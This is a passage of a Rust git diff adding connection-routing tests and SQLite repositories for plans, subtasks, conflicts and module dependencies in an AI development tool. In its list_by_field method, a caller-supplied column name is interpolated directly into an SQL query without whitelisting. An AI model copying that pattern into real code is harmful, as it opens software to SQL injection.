|
||||||
|
let mut reg = ConnRegistry::new();
|
||||||
|
let id = next_conn_id();
|
||||||
|
let _rx = register(&mut reg, id, ClientKind::Device, "dev-1");
|
||||||
|
|
||||||
|
let removed = reg.remove(id);
|
||||||
|
assert_eq!(removed.as_deref(), Some("dev-1"));
|
||||||
|
assert_eq!(reg.len(), 0);
|
||||||
|
assert!(!reg.is_device_online("dev-1"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn registry_remove_unknown_returns_none() {
|
||||||
|
let mut reg = ConnRegistry::new();
|
||||||
|
assert_eq!(reg.remove(ConnId(9999)), None);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn registry_supports_multi_conn_per_device() {
|
||||||
|
let mut reg = ConnRegistry::new();
|
||||||
|
let d1 = next_conn_id();
|
||||||
|
let m1 = next_conn_id();
|
||||||
|
let _r1 = register(&mut reg, d1, ClientKind::Device, "dev-1");
|
||||||
|
let _r2 = register(&mut reg, m1, ClientKind::Miniapp, "dev-1");
|
||||||
|
|
||||||
|
assert_eq!(reg.len(), 2);
|
||||||
|
assert!(reg.is_device_online("dev-1"));
|
||||||
|
|
||||||
|
reg.remove(d1);
|
||||||
|
assert!(reg.is_device_online("dev-1"));
|
||||||
|
|
||||||
|
reg.remove(m1);
|
||||||
|
assert!(!reg.is_device_online("dev-1"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn registry_empty_default() {
|
||||||
|
let reg = ConnRegistry::new();
|
||||||
|
assert!(reg.is_empty());
|
||||||
|
assert_eq!(reg.len(), 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------- 路由规则 ----------
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn route_event_device_to_miniapp_only() {
|
||||||
|
let mut reg = ConnRegistry::new();
|
||||||
|
let dev = next_conn_id();
|
||||||
|
let mini = next_conn_id();
|
||||||
|
let other_mini = next_conn_id();
|
||||||
|
let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1");
|
||||||
|
let _r2 = register(&mut reg, mini, ClientKind::Miniapp, "dev-1");
|
||||||
|
let _r3 = register(&mut reg, other_mini, ClientKind::Miniapp, "dev-2");
|
||||||
|
|
||||||
|
let msg = BroadcastMessage::from_device("dev-1", dev, serde_json::json!({}), 0);
|
||||||
|
let delivered = reg.route(&msg);
|
||||||
|
assert_eq!(delivered, 1, "Event 应只投递给 dev-1 的小程序");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn route_command_miniapp_to_device_only() {
|
||||||
|
let mut reg = ConnRegistry::new();
|
||||||
|
let dev = next_conn_id();
|
||||||
|
let mini = next_conn_id();
|
||||||
|
let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1");
|
||||||
|
let _r2 = register(&mut reg, mini, ClientKind::Miniapp, "dev-1");
|
||||||
|
|
||||||
|
let msg = BroadcastMessage {
|
||||||
|
device_id: "dev-1".into(),
|
||||||
|
kind: MessageKind::Command,
|
||||||
|
source: mini,
|
||||||
|
from: ClientKind::Miniapp,
|
||||||
|
payload: serde_json::json!({}),
|
||||||
|
ts: 0,
|
||||||
|
};
|
||||||
|
let delivered = reg.route(&msg);
|
||||||
|
assert_eq!(delivered, 1, "Command 应只投递给 dev-1 的桌面端");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn route_does_not_loop_back_to_source() {
|
||||||
|
let mut reg = ConnRegistry::new();
|
||||||
|
let dev = next_conn_id();
|
||||||
|
let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1");
|
||||||
|
|
||||||
|
let msg = BroadcastMessage::from_device("dev-1", dev, serde_json::json!({}), 0);
|
||||||
|
let delivered = reg.route(&msg);
|
||||||
|
assert_eq!(delivered, 0, "不应回环给来源");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn route_control_to_all_except_source() {
|
||||||
|
let mut reg = ConnRegistry::new();
|
||||||
|
let dev = next_conn_id();
|
||||||
|
let mini1 = next_conn_id();
|
||||||
|
let mini2 = next_conn_id();
|
||||||
|
let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1");
|
||||||
|
let _r2 = register(&mut reg, mini1, ClientKind::Miniapp, "dev-1");
|
||||||
|
let _r3 = register(&mut reg, mini2, ClientKind::Miniapp, "dev-1");
|
||||||
|
|
||||||
|
let msg = BroadcastMessage {
|
||||||
|
device_id: "dev-1".into(),
|
||||||
|
kind: MessageKind::Control,
|
||||||
|
source: dev,
|
||||||
|
from: ClientKind::Device,
|
||||||
|
payload: serde_json::json!({}),
|
||||||
|
ts: 0,
|
||||||
|
};
|
||||||
|
let delivered = reg.route(&msg);
|
||||||
|
assert_eq!(delivered, 2, "Control 应投递给除来源外的所有同 device 连接");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn route_unknown_device_zero() {
|
||||||
|
let reg = ConnRegistry::new();
|
||||||
|
let msg = BroadcastMessage::from_device("nope", ConnId::NIL, serde_json::json!({}), 0);
|
||||||
|
assert_eq!(reg.route(&msg), 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn route_event_not_delivered_to_device() {
|
||||||
|
let mut reg = ConnRegistry::new();
|
||||||
|
let dev1 = next_conn_id();
|
||||||
|
let dev2 = next_conn_id();
|
||||||
|
let _r1 = register(&mut reg, dev1, ClientKind::Device, "dev-1");
|
||||||
|
let _r2 = register(&mut reg, dev2, ClientKind::Device, "dev-1");
|
||||||
|
|
||||||
|
let msg = BroadcastMessage::from_device("dev-1", dev1, serde_json::json!({}), 0);
|
||||||
|
assert_eq!(reg.route(&msg), 0, "两个 Device 互发 Event 不应投递");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------- BroadcastMessage 构造器 ----------
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn from_device_sets_event_kind_and_from() {
|
||||||
|
let msg = BroadcastMessage::from_device("dev-1", ConnId(42), serde_json::json!({"a": 1}), 12345);
|
||||||
|
assert_eq!(msg.device_id, "dev-1");
|
||||||
|
assert_eq!(msg.kind, MessageKind::Event);
|
||||||
|
assert_eq!(msg.from, ClientKind::Device);
|
||||||
|
assert_eq!(msg.source, ConnId(42));
|
||||||
|
assert_eq!(msg.ts, 12345);
|
||||||
|
assert_eq!(msg.payload, serde_json::json!({"a": 1}));
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------- RelayState async 包装 ----------
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn relay_state_add_and_remove_conn() {
|
||||||
|
let state = RelayState::new();
|
||||||
|
let id = next_conn_id();
|
||||||
|
let (handle, _rx) = make_handle(id, ClientKind::Device, "dev-1");
|
||||||
|
state.add_conn(handle).await;
|
||||||
|
|
||||||
|
assert!(state.is_device_online("dev-1").await);
|
||||||
|
|
||||||
|
let removed = state.remove_conn(id).await;
|
||||||
|
assert_eq!(removed.as_deref(), Some("dev-1"));
|
||||||
|
assert!(!state.is_device_online("dev-1").await);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn relay_state_route_async() {
|
||||||
|
let state = RelayState::new();
|
||||||
|
let dev = next_conn_id();
|
||||||
|
let mini = next_conn_id();
|
||||||
|
let (h1, _r1) = make_handle(dev, ClientKind::Device, "dev-1");
|
||||||
|
let (h2, _r2) = make_handle(mini, ClientKind::Miniapp, "dev-1");
|
||||||
|
state.add_conn(h1).await;
|
||||||
|
state.add_conn(h2).await;
|
||||||
|
|
||||||
|
let msg = BroadcastMessage::from_device("dev-1", dev, serde_json::json!({}), 0);
|
||||||
|
let n = state.route(&msg).await;
|
||||||
|
assert_eq!(n, 1);
|
||||||
|
}
|
||||||
@@ -264,6 +264,25 @@ impl AiToolExecutionRepo {
|
|||||||
.map_err(storage_err)?
|
.map_err(storage_err)?
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// 清理超期的残留 pending 工具调用(旧会话遗留)。
|
||||||
|
///
|
||||||
|
/// `max_age_secs`: 超过此秒数的 pending 记录被标记为 interrupted(不硬删,保留审计痕迹)。
|
||||||
|
pub async fn cleanup_stale_pending(&self, max_age_secs: u64) -> Result<u64> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
let cutoff_ms = (df_types::now_millis() as i64 - (max_age_secs as i64 * 1000)).to_string();
|
||||||
|
let affected = tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
guard.execute(
|
||||||
|
"UPDATE ai_tool_executions SET status = 'interrupted' \
|
||||||
|
WHERE status = 'pending' AND CAST(requested_at AS INTEGER) < ?1",
|
||||||
|
params![cutoff_ms],
|
||||||
|
).map_err(storage_err)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(storage_err)??;
|
||||||
|
Ok(affected as u64)
|
||||||
|
}
|
||||||
|
|
||||||
/// 审批历史面板分页查询:按 requested_at 倒序(最新在前),limit 默认 50。
|
/// 审批历史面板分页查询:按 requested_at 倒序(最新在前),limit 默认 50。
|
||||||
///
|
///
|
||||||
/// 与 list_pending 同理走专用 SELECT,绕过通用 query 宏(后者硬编码
|
/// 与 list_pending 同理走专用 SELECT,绕过通用 query 宏(后者硬编码
|
||||||
|
|||||||
@@ -17,6 +17,9 @@
|
|||||||
//! re-export(`pub use ...::*`)保持 `df_storage::crud::XxxRepo` /
|
//! re-export(`pub use ...::*`)保持 `df_storage::crud::XxxRepo` /
|
||||||
//! `df_storage::crud::is_allowed_column` 路径不变,**调用方零改动**。
|
//! `df_storage::crud::is_allowed_column` 路径不变,**调用方零改动**。
|
||||||
|
|
||||||
|
mod module_dependency_repo;
|
||||||
|
mod plan_repo;
|
||||||
|
|
||||||
mod conversation_repo;
|
mod conversation_repo;
|
||||||
mod idea_eval_repo;
|
mod idea_eval_repo;
|
||||||
mod idea_repo;
|
mod idea_repo;
|
||||||
@@ -40,6 +43,8 @@ pub use project_service_repo::*;
|
|||||||
pub use settings::*;
|
pub use settings::*;
|
||||||
pub use task_link_repo::*;
|
pub use task_link_repo::*;
|
||||||
pub use task_repo::*;
|
pub use task_repo::*;
|
||||||
|
pub use module_dependency_repo::*;
|
||||||
|
pub use plan_repo::*;
|
||||||
|
|
||||||
// ============================================================
|
// ============================================================
|
||||||
// 辅助宏 — 消除多个 Repo 的重复样板
|
// 辅助宏 — 消除多个 Repo 的重复样板
|
||||||
|
|||||||
95
crates/df-storage/src/crud/module_dependency_repo.rs
Normal file
95
crates/df-storage/src/crud/module_dependency_repo.rs
Normal file
@@ -0,0 +1,95 @@
|
|||||||
|
//! 工程依赖关系 — module_dependencies 表 CRUD(V35,工程间依赖边)
|
||||||
|
//!
|
||||||
|
//! 简化版:insert / delete / list_by_field(查 project_id)。
|
||||||
|
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use rusqlite::{params, Row};
|
||||||
|
use tokio::sync::Mutex;
|
||||||
|
|
||||||
|
use crate::db::Database;
|
||||||
|
use crate::models::ModuleDependencyRecord;
|
||||||
|
|
||||||
|
use super::{storage_err};
|
||||||
|
|
||||||
|
fn dep_from_row(row: &Row<'_>) -> std::result::Result<ModuleDependencyRecord, rusqlite::Error> {
|
||||||
|
Ok(ModuleDependencyRecord {
|
||||||
|
id: row.get("id")?,
|
||||||
|
project_id: row.get("project_id")?,
|
||||||
|
from_module_id: row.get("from_module_id")?,
|
||||||
|
to_module_id: row.get("to_module_id")?,
|
||||||
|
dep_type: row.get("dep_type")?,
|
||||||
|
label: row.get("label")?,
|
||||||
|
created_at: row.get("created_at")?,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct ModuleDependencyRepo {
|
||||||
|
conn: Arc<Mutex<rusqlite::Connection>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ModuleDependencyRepo {
|
||||||
|
pub fn new(db: &Database) -> Self {
|
||||||
|
Self { conn: db.conn() }
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn insert(&self, record: ModuleDependencyRecord) -> Result<bool, df_types::error::Error> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
let r = &record;
|
||||||
|
let affected = guard
|
||||||
|
.execute(
|
||||||
|
"INSERT INTO module_dependencies \
|
||||||
|
(id, project_id, from_module_id, to_module_id, dep_type, label, created_at) \
|
||||||
|
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7)",
|
||||||
|
params![
|
||||||
|
r.id, r.project_id, r.from_module_id, r.to_module_id,
|
||||||
|
r.dep_type, r.label, r.created_at,
|
||||||
|
],
|
||||||
|
)
|
||||||
|
.map_err(storage_err)?;
|
||||||
|
Ok(affected > 0)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(storage_err)?
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn delete(&self, id: &str) -> Result<bool, df_types::error::Error> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
let id = id.to_owned();
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
let affected = guard
|
||||||
|
.execute("DELETE FROM module_dependencies WHERE id = ?1", params![id])
|
||||||
|
.map_err(storage_err)?;
|
||||||
|
Ok(affected > 0)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(storage_err)?
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn list_by_field(&self, field: &str, value: &str) -> Result<Vec<ModuleDependencyRecord>, df_types::error::Error> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
let field = field.to_owned();
|
||||||
|
let value = value.to_owned();
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
let sql = format!(
|
||||||
|
"SELECT id, project_id, from_module_id, to_module_id, dep_type, label, created_at \
|
||||||
|
FROM module_dependencies WHERE {field} = ?1 ORDER BY created_at ASC"
|
||||||
|
);
|
||||||
|
let mut stmt = guard.prepare(&sql).map_err(storage_err)?;
|
||||||
|
let rows = stmt
|
||||||
|
.query_map(params![value], dep_from_row)
|
||||||
|
.map_err(storage_err)?;
|
||||||
|
let mut results = Vec::new();
|
||||||
|
for r in rows {
|
||||||
|
results.push(r.map_err(storage_err)?);
|
||||||
|
}
|
||||||
|
Ok(results)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(storage_err)?
|
||||||
|
}
|
||||||
|
}
|
||||||
579
crates/df-storage/src/crud/plan_repo.rs
Normal file
579
crates/df-storage/src/crud/plan_repo.rs
Normal file
@@ -0,0 +1,579 @@
|
|||||||
|
//! 多 Agent 并行执行 Repo — ai_plans / ai_subtasks / ai_conflicts 表 CRUD(V36)
|
||||||
|
//!
|
||||||
|
//! 设计依据:docs/02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md §二
|
||||||
|
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use rusqlite::{params, OptionalExtension, Row};
|
||||||
|
use tokio::sync::Mutex;
|
||||||
|
|
||||||
|
use crate::db::Database;
|
||||||
|
use crate::models::{ConflictRecord, PlanRecord, SubTaskRecord};
|
||||||
|
|
||||||
|
use super::storage_err;
|
||||||
|
|
||||||
|
type Result<T> = std::result::Result<T, df_types::error::Error>;
|
||||||
|
|
||||||
|
fn plan_from_row(row: &Row<'_>) -> rusqlite::Result<PlanRecord> {
|
||||||
|
Ok(PlanRecord {
|
||||||
|
id: row.get("id")?,
|
||||||
|
conversation_id: row.get("conversation_id")?,
|
||||||
|
user_message_id: row.get("user_message_id")?,
|
||||||
|
status: row.get("status")?,
|
||||||
|
subtask_count: row.get("subtask_count")?,
|
||||||
|
created_at: row.get("created_at")?,
|
||||||
|
completed_at: row.get("completed_at")?,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
fn subtask_from_row(row: &Row<'_>) -> rusqlite::Result<SubTaskRecord> {
|
||||||
|
Ok(SubTaskRecord {
|
||||||
|
id: row.get("id")?,
|
||||||
|
plan_id: row.get("plan_id")?,
|
||||||
|
persona_id: row.get("persona_id")?,
|
||||||
|
intent: row.get("intent")?,
|
||||||
|
status: row.get("status")?,
|
||||||
|
layer: row.get("layer")?,
|
||||||
|
deps: row.get("deps")?,
|
||||||
|
branch: row.get("branch")?,
|
||||||
|
created_at: row.get("created_at")?,
|
||||||
|
completed_at: row.get("completed_at")?,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
fn conflict_from_row(row: &Row<'_>) -> rusqlite::Result<ConflictRecord> {
|
||||||
|
Ok(ConflictRecord {
|
||||||
|
id: row.get("id")?,
|
||||||
|
plan_id: row.get("plan_id")?,
|
||||||
|
file_path: row.get("file_path")?,
|
||||||
|
conflict_type: row.get("conflict_type")?,
|
||||||
|
subtask_a: row.get("subtask_a")?,
|
||||||
|
subtask_b: row.get("subtask_b")?,
|
||||||
|
diff_a: row.get("diff_a")?,
|
||||||
|
diff_b: row.get("diff_b")?,
|
||||||
|
resolution: row.get("resolution")?,
|
||||||
|
resolved_by: row.get("resolved_by")?,
|
||||||
|
created_at: row.get("created_at")?,
|
||||||
|
resolved_at: row.get("resolved_at")?,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// PlanRepo
|
||||||
|
// ============================================================
|
||||||
|
|
||||||
|
pub struct PlanRepo {
|
||||||
|
conn: Arc<Mutex<rusqlite::Connection>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PlanRepo {
|
||||||
|
pub fn new(db: &Database) -> Self {
|
||||||
|
Self { conn: db.conn() }
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn insert(&self, record: PlanRecord) -> Result<String> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
guard
|
||||||
|
.execute(
|
||||||
|
"INSERT INTO ai_plans \
|
||||||
|
(id, conversation_id, user_message_id, status, subtask_count, created_at, completed_at) \
|
||||||
|
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7)",
|
||||||
|
params![
|
||||||
|
record.id, record.conversation_id, record.user_message_id,
|
||||||
|
record.status, record.subtask_count, record.created_at, record.completed_at,
|
||||||
|
],
|
||||||
|
)
|
||||||
|
.map_err(storage_err)?;
|
||||||
|
Ok(record.id)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(storage_err)?
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn get(&self, id: &str) -> Result<Option<PlanRecord>> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
let id = id.to_owned();
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
let row = guard
|
||||||
|
.query_row("SELECT * FROM ai_plans WHERE id = ?1", params![id], plan_from_row)
|
||||||
|
.optional()
|
||||||
|
.map_err(storage_err)?;
|
||||||
|
Ok(row)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(storage_err)?
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn update_status(
|
||||||
|
&self,
|
||||||
|
id: &str,
|
||||||
|
status: &str,
|
||||||
|
completed_at: Option<&str>,
|
||||||
|
) -> Result<bool> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
let id = id.to_owned();
|
||||||
|
let status = status.to_owned();
|
||||||
|
let completed_at = completed_at.map(|s| s.to_owned());
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
let affected = guard
|
||||||
|
.execute(
|
||||||
|
"UPDATE ai_plans SET status = ?1, completed_at = ?2 WHERE id = ?3",
|
||||||
|
params![status, completed_at, id],
|
||||||
|
)
|
||||||
|
.map_err(storage_err)?;
|
||||||
|
Ok(affected > 0)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(storage_err)?
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn list_by_conversation(&self, conv_id: &str) -> Result<Vec<PlanRecord>> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
let conv_id = conv_id.to_owned();
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
let mut stmt = guard
|
||||||
|
.prepare("SELECT * FROM ai_plans WHERE conversation_id = ?1 ORDER BY created_at DESC")
|
||||||
|
.map_err(storage_err)?;
|
||||||
|
let rows = stmt.query_map(params![conv_id], plan_from_row).map_err(storage_err)?;
|
||||||
|
let mut results = Vec::new();
|
||||||
|
for r in rows {
|
||||||
|
results.push(r.map_err(storage_err)?);
|
||||||
|
}
|
||||||
|
Ok(results)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(storage_err)?
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// SubTaskRepo
|
||||||
|
// ============================================================
|
||||||
|
|
||||||
|
pub struct SubTaskRepo {
|
||||||
|
conn: Arc<Mutex<rusqlite::Connection>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl SubTaskRepo {
|
||||||
|
pub fn new(db: &Database) -> Self {
|
||||||
|
Self { conn: db.conn() }
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn insert(&self, record: SubTaskRecord) -> Result<String> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
guard
|
||||||
|
.execute(
|
||||||
|
"INSERT INTO ai_subtasks \
|
||||||
|
(id, plan_id, persona_id, intent, status, layer, deps, branch, created_at, completed_at) \
|
||||||
|
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10)",
|
||||||
|
params![
|
||||||
|
record.id, record.plan_id, record.persona_id, record.intent,
|
||||||
|
record.status, record.layer, record.deps, record.branch,
|
||||||
|
record.created_at, record.completed_at,
|
||||||
|
],
|
||||||
|
)
|
||||||
|
.map_err(storage_err)?;
|
||||||
|
Ok(record.id)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(storage_err)?
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn list_by_plan(&self, plan_id: &str) -> Result<Vec<SubTaskRecord>> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
let plan_id = plan_id.to_owned();
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
let mut stmt = guard
|
||||||
|
.prepare("SELECT * FROM ai_subtasks WHERE plan_id = ?1 ORDER BY layer ASC, created_at ASC")
|
||||||
|
.map_err(storage_err)?;
|
||||||
|
let rows = stmt.query_map(params![plan_id], subtask_from_row).map_err(storage_err)?;
|
||||||
|
let mut results = Vec::new();
|
||||||
|
for r in rows {
|
||||||
|
results.push(r.map_err(storage_err)?);
|
||||||
|
}
|
||||||
|
Ok(results)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(storage_err)?
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn update_status(
|
||||||
|
&self,
|
||||||
|
id: &str,
|
||||||
|
status: &str,
|
||||||
|
completed_at: Option<&str>,
|
||||||
|
) -> Result<bool> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
let id = id.to_owned();
|
||||||
|
let status = status.to_owned();
|
||||||
|
let completed_at = completed_at.map(|s| s.to_owned());
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
let affected = guard
|
||||||
|
.execute(
|
||||||
|
"UPDATE ai_subtasks SET status = ?1, completed_at = ?2 WHERE id = ?3",
|
||||||
|
params![status, completed_at, id],
|
||||||
|
)
|
||||||
|
.map_err(storage_err)?;
|
||||||
|
Ok(affected > 0)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(storage_err)?
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// ConflictRepo
|
||||||
|
// ============================================================
|
||||||
|
|
||||||
|
pub struct ConflictRepo {
|
||||||
|
conn: Arc<Mutex<rusqlite::Connection>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl ConflictRepo {
|
||||||
|
pub fn new(db: &Database) -> Self {
|
||||||
|
Self { conn: db.conn() }
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn insert(&self, record: ConflictRecord) -> Result<String> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
guard
|
||||||
|
.execute(
|
||||||
|
"INSERT INTO ai_conflicts \
|
||||||
|
(id, plan_id, file_path, conflict_type, subtask_a, subtask_b, diff_a, diff_b, \
|
||||||
|
resolution, resolved_by, created_at, resolved_at) \
|
||||||
|
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12)",
|
||||||
|
params![
|
||||||
|
record.id, record.plan_id, record.file_path, record.conflict_type,
|
||||||
|
record.subtask_a, record.subtask_b, record.diff_a, record.diff_b,
|
||||||
|
record.resolution, record.resolved_by, record.created_at, record.resolved_at,
|
||||||
|
],
|
||||||
|
)
|
||||||
|
.map_err(storage_err)?;
|
||||||
|
Ok(record.id)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(storage_err)?
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn list_pending(&self, plan_id: &str) -> Result<Vec<ConflictRecord>> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
let plan_id = plan_id.to_owned();
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
let mut stmt = guard
|
||||||
|
.prepare("SELECT * FROM ai_conflicts WHERE plan_id = ?1 AND resolution = 'pending' ORDER BY created_at ASC")
|
||||||
|
.map_err(storage_err)?;
|
||||||
|
let rows = stmt.query_map(params![plan_id], conflict_from_row).map_err(storage_err)?;
|
||||||
|
let mut results = Vec::new();
|
||||||
|
for r in rows {
|
||||||
|
results.push(r.map_err(storage_err)?);
|
||||||
|
}
|
||||||
|
Ok(results)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(storage_err)?
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn resolve(
|
||||||
|
&self,
|
||||||
|
id: &str,
|
||||||
|
resolution: &str,
|
||||||
|
resolved_by: &str,
|
||||||
|
resolved_at: &str,
|
||||||
|
) -> Result<bool> {
|
||||||
|
let conn = self.conn.clone();
|
||||||
|
let id = id.to_owned();
|
||||||
|
let resolution = resolution.to_owned();
|
||||||
|
let resolved_by = resolved_by.to_owned();
|
||||||
|
let resolved_at = resolved_at.to_owned();
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
let guard = conn.blocking_lock();
|
||||||
|
let affected = guard
|
||||||
|
.execute(
|
||||||
|
"UPDATE ai_conflicts SET resolution = ?1, resolved_by = ?2, resolved_at = ?3 WHERE id = ?4",
|
||||||
|
params![resolution, resolved_by, resolved_at, id],
|
||||||
|
)
|
||||||
|
.map_err(storage_err)?;
|
||||||
|
Ok(affected > 0)
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.map_err(storage_err)?
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use crate::db::Database;
|
||||||
|
|
||||||
|
async fn setup() -> Database {
|
||||||
|
let db = Database::open_in_memory().await.expect("open_in_memory");
|
||||||
|
let conn = db.conn();
|
||||||
|
tokio::task::spawn_blocking(move || {
|
||||||
|
crate::migrations::run(&conn.blocking_lock()).expect("migrations");
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.expect("spawn_blocking");
|
||||||
|
db
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn repo_01_plan_insert_and_get() {
|
||||||
|
let db = setup().await;
|
||||||
|
let repo = PlanRepo::new(&db);
|
||||||
|
let plan = PlanRecord {
|
||||||
|
id: "plan-001".into(),
|
||||||
|
conversation_id: "conv-001".into(),
|
||||||
|
user_message_id: Some("msg-001".into()),
|
||||||
|
status: "planning".into(),
|
||||||
|
subtask_count: 2,
|
||||||
|
created_at: "2026-07-01T00:00:00Z".into(),
|
||||||
|
completed_at: None,
|
||||||
|
};
|
||||||
|
let id = repo.insert(plan.clone()).await.unwrap();
|
||||||
|
assert_eq!(id, "plan-001");
|
||||||
|
let got = repo.get("plan-001").await.unwrap().unwrap();
|
||||||
|
assert_eq!(got.status, "planning");
|
||||||
|
assert_eq!(got.subtask_count, 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn repo_02_plan_update_status() {
|
||||||
|
let db = setup().await;
|
||||||
|
let repo = PlanRepo::new(&db);
|
||||||
|
repo.insert(PlanRecord {
|
||||||
|
id: "plan-002".into(),
|
||||||
|
conversation_id: "conv-001".into(),
|
||||||
|
user_message_id: None,
|
||||||
|
status: "planning".into(),
|
||||||
|
subtask_count: 0,
|
||||||
|
created_at: "2026-07-01T00:00:00Z".into(),
|
||||||
|
completed_at: None,
|
||||||
|
})
|
||||||
|
.await
|
||||||
|
.unwrap();
|
||||||
|
assert!(repo.update_status("plan-002", "executing", None).await.unwrap());
|
||||||
|
let got = repo.get("plan-002").await.unwrap().unwrap();
|
||||||
|
assert_eq!(got.status, "executing");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
